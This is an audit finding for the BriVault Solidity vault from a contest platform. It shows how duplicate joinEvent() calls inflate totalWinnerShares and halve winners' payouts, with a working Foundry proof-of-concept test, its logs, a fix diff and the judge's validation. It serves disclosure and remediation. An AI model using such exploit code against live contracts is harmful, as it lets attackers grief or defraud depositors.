BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Duplicate joinEvent entries inflate totalWinnerShares

kode_n_rolla

Description

  • Normal behaviour:
    A normal tournament flow: users deposit() stake assets, call joinEvent(countryId) to pick a team, owner calls setWinner() after the event, and winners call withdraw() to receive their share. Each participant’s payout is computed as:

    assetToWithdraw = shares * finalizedVaultAsset / totalWinnerShares

    where shares is the participant’s current vault shares and totalWinnerShares is the sum of snapshots recorded for the winning country.

  • Specific issue:
    joinEvent() appends msg.sender to usersAddress without deduplication. _getWinnerShares() iterates usersAddress and adds userSharesToCountry[user][winnerCountryId] for every array entry. As a result, the same address recorded multiple times contributes multiple times to totalWinnerShares, while that address’s withdraw() numerator remains a single balanceOf(msg.sender). Duplicate entries therefore increase the denominator and reduce every winner’s payout.

    function joinEvent(uint256 countryId) public {
    // ...
    userToCountry[msg.sender] = teams[countryId];
    ​
    uint256 participantShares = balanceOf(msg.sender);
    userSharesToCountry[msg.sender][countryId] = participantShares;
    ​
    @> usersAddress.push(msg.sender); // duplicate entries allowed here
    ​
    numberOfParticipants++;
    totalParticipantShares += participantShares;
    // ...
    }
    ​
    function _getWinnerShares () internal returns (uint256) {
    // no reset of totalWinnerShares; loops over usersAddress entries (duplicates counted)
    @> for (uint256 i = 0; i < usersAddress.length; ++i) {
    address user = usersAddress[i];
    totalWinnerShares += userSharesToCountry[user][winnerCountryId];
    }
    return totalWinnerShares;
    }

Risk

Likelihood:

  • When a participant calls joinEvent() repeatedly after a single deposit (no guard against duplicate joins), the contract records duplicates in usersAddress.

  • When an attacker controls multiple addresses (Sybil), they can create many entries cheaply (small deposits or repeated join behavior), inflating the denominator.

Impact:

  • Winners’ payouts are reduced proportionally to the inflated totalWinnerShares.

  • Attack can be used as griefing (reduce everyone’s payout for low cost) or, with multiple accounts (Sybil), to materially reduce honest winners’ payouts.

  • In extreme cases the large array can increase gas cost of setWinner() / _getWinnerShares() and cause a gas-based DoS.

Proof of Concept

  • Attack PoC

function test_duplicateJoin_affectsPayouts() public {
uint256 countryId = 5;
uint256 depositAmt = 0.5 ether;
uint256 dupCount = 3; // total joins by attacker = dupCount (1 initial + dupCount-1 repeats)
​
// 1) prepare approvals & balances in setUp() you already minted tokens to user1,user2
vm.prank(user1);
mockToken.approve(address(briVault), type(uint256).max);
vm.prank(user2);
mockToken.approve(address(briVault), type(uint256).max);
​
// 2) both deposit and join once
vm.startPrank(user1);
briVault.deposit(depositAmt, user1);
briVault.joinEvent(countryId);
vm.stopPrank();
​
vm.startPrank(user2);
briVault.deposit(depositAmt, user2);
briVault.joinEvent(countryId);
vm.stopPrank();
​
// 3) attacker repeats joinEvent multiple times (duplicates in usersAddress)
for (uint256 i = 0; i < (dupCount - 1); ++i) {
vm.prank(user1);
briVault.joinEvent(countryId);
}
​
// 4) Log array length and entries to prove duplicates
uint256 count = briVault.numberOfParticipants();
console.log("numberOfParticipants (after duplicates):", count);
​
for (uint256 i = 0; i < count; ++i) {
address a = briVault.usersAddress(i);
console.log("usersAddress[", i, "] =", a);
// also log snapshot & shares for clarity
console.log(" snapshot:", briVault.userSharesToCountry(a, countryId));
console.log(" shares:", briVault.balanceOf(a));
}
​
// 5) Advance time to after event end and call setWinner
vm.warp(block.timestamp + 40 days); // ensure > eventEndDate
vm.prank(owner);
string memory w = briVault.setWinner(countryId);
console.log("winner set:", w);
​
// 6) Log totals computed
console.log("totalWinnerShares:", briVault.totalWinnerShares());
console.log("finalizedVaultAsset:", briVault.finalizedVaultAsset());
​
// 7) Record balances before withdraw
uint256 balUser1Before = mockToken.balanceOf(user1);
uint256 balUser2Before = mockToken.balanceOf(user2);
console.log("balances before withdraw user1:", balUser1Before, " user2:", balUser2Before);
​
// 8) Withdraw for both (attacker and honest user)
vm.prank(user1);
briVault.withdraw();
​
vm.prank(user2);
briVault.withdraw();
​
// 9) Log balances after withdraw
uint256 balUser1After = mockToken.balanceOf(user1);
uint256 balUser2After = mockToken.balanceOf(user2);
console.log("balances after withdraw user1:", balUser1After, " user2:", balUser2After);
​
// 10) Useful derived logs: what each received
console.log("user1 received:", balUser1After - balUser1Before);
console.log("user2 received:", balUser2After - balUser2Before);
​
// Assertions to make PoC explicit:
// - attacker did create duplicates
assertGt(count, 2, "should have more than 2 participants entries after duplicates");
// - totalWinnerShares should be > sum of two unique shares (due to duplicates)
// (we can't assert exact value generically, but we can assert attacker dilution happens):
uint256 receivedUser2 = balUser2After - balUser2Before;
uint256 receivedUser1 = balUser1After - balUser1Before;
assertLt(receivedUser2, receivedUser1 + 1e6, "honest user's payout decreased (rough check)"); // weak but indicative
}

  • Honest scenario


function test_honestUsers() public {
uint256 countryId = 7;
uint256 deposit = 0.5 ether;
​
​
// Approve tokens
vm.prank(user1);
mockToken.approve(address(briVault), type(uint256).max);
vm.prank(user2);
mockToken.approve(address(briVault), type(uint256).max);
​
// Both deposit and join
vm.startPrank(user1);
briVault.deposit(deposit, user1);
briVault.joinEvent(countryId);
vm.stopPrank();
​
vm.startPrank(user2);
briVault.deposit(deposit, user2);
briVault.joinEvent(countryId);
vm.stopPrank();
​
uint256 count = briVault.numberOfParticipants();
console.log("numberOfParticipants:", count);
​
vm.warp(block.timestamp + 40 days);
vm.prank(owner);
string memory w = briVault.setWinner(countryId);
​
console.log("totalWinnerShares:", briVault.totalWinnerShares());
console.log("finalizedVaultAsset:", briVault.finalizedVaultAsset());
​
uint256 balUser1Before = mockToken.balanceOf(user1);
uint256 balUser2Before = mockToken.balanceOf(user2);
console.log("balances before withdraw user1:", balUser1Before, " user2:", balUser2Before);
​
​
vm.prank(user1);
briVault.withdraw();
​
vm.prank(user2);
briVault.withdraw();
​
uint256 balUser1After = mockToken.balanceOf(user1);
uint256 balUser2After = mockToken.balanceOf(user2);
console.log("balances after withdraw user1:", balUser1After, " user2:", balUser2After);
​
console.log("user1 received:", balUser1After - balUser1Before);
console.log("user2 received:", balUser2After - balUser2Before);
}

Attack logs:

[PASS] test_duplicateJoin_affectsPayouts() (gas: 649711)
Logs:
numberOfParticipants (after duplicates): 4
usersAddress[ 0 ] = 0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF
snapshot: 492500000000000000
shares: 492500000000000000
usersAddress[ 1 ] = 0x537C8f3d3E18dF5517a58B3fB9D9143697996802
snapshot: 492500000000000000
shares: 492500000000000000
usersAddress[ 2 ] = 0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF
snapshot: 492500000000000000
shares: 492500000000000000
usersAddress[ 3 ] = 0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF
snapshot: 492500000000000000
shares: 492500000000000000
totalWinnerShares: 1970000000000000000
finalizedVaultAsset: 985000000000000000
balances before withdraw user1: 19500000000000000000 user2: 19500000000000000000
balances after withdraw user1: 19746250000000000000 user2: 19746250000000000000
user1 received: 246250000000000000
user2 received: 246250000000000000

Honest logs:

[PASS] test_honestUsers() (gas: 528781)
Logs:
numberOfParticipants: 2
totalWinnerShares: 985000000000000000
finalizedVaultAsset: 985000000000000000
balances before withdraw user1: 19500000000000000000 user2: 19500000000000000000
balances after withdraw user1: 19992500000000000000 user2: 19992500000000000000
user1 received: 492500000000000000
user2 received: 492500000000000000

  • Immediate consequence: denominators grow while the actual vault balance stays the same → every winner’s payout is reduced (griefing).

    Example (per-user deposit = 0.5 ETH, fee 1.5% → stake = 0.4925 ETH):

    • Honest (2 unique participants): finalizedVaultAsset = 0.985 ETH, totalWinnerShares = 0.985 ETH → payout per winner = 0.4925 ETH.

    • Attack (same two deposits but one user joinEvent() ×3): finalizedVaultAsset = 0.985 ETH, totalWinnerShares = 1.97 ETH → payout per winner = 0.24625 ETH (half).

  • Why this matters: attacker doesn’t need to add extra funds to the pool — just repeat joinEvent() (or create many cheap Sybil addresses) to reduce payouts for all winners. This is an integrity/griefing issue and can become a gas-based DoS if the array grows large.

Recommended Mitigation

  • Use OpenZeppelin libraries for prevent reentrancy attack

+import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
...
-contract BriVault is ERC4626, Ownable {
+contract BriVault is ERC4626, Ownable, ReentrancyGuard {

  • Add checking mapping to mapping block and error

+ // prevent duplicate join from same address
+ mapping(address => bool) public hasJoined;
...
+ error AlreadyJoined();

  • Update joinEvent

- function joinEvent(uint256 countryId) public {
+ function joinEvent(uint256 countryId) public nonReentrant {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
+
+ // Prevent duplicate joins from the same address (minimal fix)
+ if (hasJoined[msg.sender]) {
+ revert AlreadyJoined();
+ }
+ hasJoined[msg.sender] = true;
+
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
​

  • Reset flag in cancelParticipation

function cancelParticipation () public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
uint256 refundAmount = stakedAsset[msg.sender];
stakedAsset[msg.sender] = 0;
uint256 shares = balanceOf(msg.sender);
_burn(msg.sender, shares);
- IERC20(asset()).safeTransfer(msg.sender, refundAmount);
+ // reset joined-flag so user can re-join or join in next event
+ if (hasJoined[msg.sender]) {
+ hasJoined[msg.sender] = false;
+ }
+
+ IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}

  • Resetting the accumulator before counting the winner's shares

function _getWinnerShares () internal returns (uint256) {
+ // reset accumulator to avoid accumulation on repeated calls
+ totalWinnerShares = 0;
​
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}

  • Mark deposit() and withdraw() as nonReentrant

- function deposit(uint256 assets, address receiver) public override returns (uint256) {
+ function deposit(uint256 assets, address receiver) public override nonReentrant returns (uint256) {
...
- function withdraw() external winnerSet {
+ function withdraw() external winnerSet nonReentrant {
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unbounded Loop in _getWinnerShares Causes Denial of Service

The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!